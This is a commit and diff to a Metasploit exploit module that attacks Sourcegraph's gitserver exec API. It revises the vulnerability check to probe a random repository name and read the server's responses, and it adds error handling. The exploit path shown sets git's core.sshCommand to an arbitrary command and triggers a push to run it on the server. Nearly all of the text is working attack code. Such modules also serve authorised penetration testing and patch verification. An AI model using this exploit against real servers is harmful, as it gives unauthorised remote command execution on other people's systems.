Use a more reliable check method

The check method will not work regardless of whether or not there is a
cloned repository. The response can be analyzed using a random,
non-existant repo.

modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb

@@ -75,28 +75,28 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def check
-    begin
-      cloned_repos = send_request_list
-    rescue RuntimeError => e
-      return CheckCode::Unknown(e.message)
-    end
+    res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
+    return CheckCode::Unknown unless res
 
-    if cloned_repos.empty?
-      vprint_warning('There must be at least 1 cloned git repo to be exploitable.')
-      return CheckCode::Detected
-    end
-
-    res = send_request_exec(cloned_repos.sample, ['config', '--default', '', 'core.sshCommand'])
-    if res && res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
+    if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
+      # this is the response if the target repo does exist, highly unlikely since it's randomized
       return CheckCode::Vulnerable('Successfully set core.sshCommand.')
+    elsif res.code == 404 && res.body =~ /"cloneInProgress"/
+      # this is the response if the target repo does not exist
+      return CheckCode::Vulnerable
+    elsif res.code == 400 && res.body =~ /^invalid command/
+      # this is the response when the server is patched, regardless of if there are cloned repos
+      return CheckCode::Safe
     end
 
-    CheckCode::Safe('Failed to set core.sshCommand.')
+    CheckCode::Unknown
   end
 
   def exploit
     if datastore['EXISTING_REPO'].blank?
       @git_repo = send_request_list.sample
+      fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo
+
       print_status("Using automatically identified repository: #{@git_repo}")
     else
       @git_repo = datastore['EXISTING_REPO']
@@ -156,7 +156,13 @@ class MetasploitModule < Msf::Exploit::Remote
     vprint_status("Executing command: #{cmd}")
     res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
     fail_with(Failure::Unreachable, 'No server response.') unless res
-    fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
+    unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
+      if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
+        fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
+      end
+
+      fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
+    end
 
     send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
   end